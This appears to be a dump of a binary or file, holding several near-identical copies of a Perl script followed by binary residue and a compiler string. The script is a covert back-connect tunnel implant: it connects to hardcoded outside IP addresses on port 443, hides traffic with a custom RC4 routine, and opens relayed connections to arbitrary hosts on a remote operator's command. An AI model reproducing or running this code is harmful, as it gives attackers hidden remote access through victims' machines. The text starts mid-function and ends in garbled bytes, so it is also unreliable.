Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.160'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.159'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.150'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); m$m$\m$`8m$@m$ l$l$l$l$_l$;l$`l$@k$ k$k$k$bk$>k$k$`j$@j$ j$j$ej$Aj$j$i$`i$@i$ i$ii$Di$ i$h$h$`h$@h$ lh$Hh$#h$g$g$g$`g$@og$ Kg$'g$g$f$f$f$`rf$@Nf$ *f$f$e$e$e$ue$`Qe$@-e$ e$d$d$ d1`]d1+d1c1 c1`c1dc12c1 c1`b1b1kb1 :b1`b1a1a1 sa1`Aa1a1`1 `1`z`1H`1`1 _1`_1_1O_1 _1`^1^1^1 W^1`%^1]1]1 ]1`^]1,]1\1 \1`\1e\13\1 \1`[1[1l[1 ;[1` [1Z1Z1 tZ1`BZ1Z1Y1 Y1`{Y1IY1Y1 X1`X1X1PX1X02`W02 W02W02UW02`#W02 V02V02V02`ZV02 (V02U02U02`U02 _U02,U02T02`T02 T02cT021T02`S02 S02S02hS02`6S02 S02R02R02`mR02 ;R02R02Q02`Q02 rQ02?Q02 Q02`P02 P02vP02DP02`P02 O02O02{O02`IO02 O02N02N02`N02 NN02N02M02`M02 M02RM02 M02`L02 L02L02WL02`%L02 K02K02@u9㼥ͤtgQ>PNaPqk,jj6HT7qYIσ7 qR>)OqN9NL(K@K箂CAk[Sž0m$m$mm0Hm m0umKK m@umKK PumKKmmm@mmmmmBHm`mXmXJvm@mmmBH=H'=H7=H'=H=HG=H=HW=Ha=HW=H=Hs=H=H=H=H=H=H=H=H=H=H=H=H=H=H=H=H=H=H>H>H=H%>H=H>H<>HKKKK`KK K K@KKKKHHH;H;H;H;H;H;H;H;H;H;H;H;H;HdBHBHPHGCC: (GNU) 15.2.1 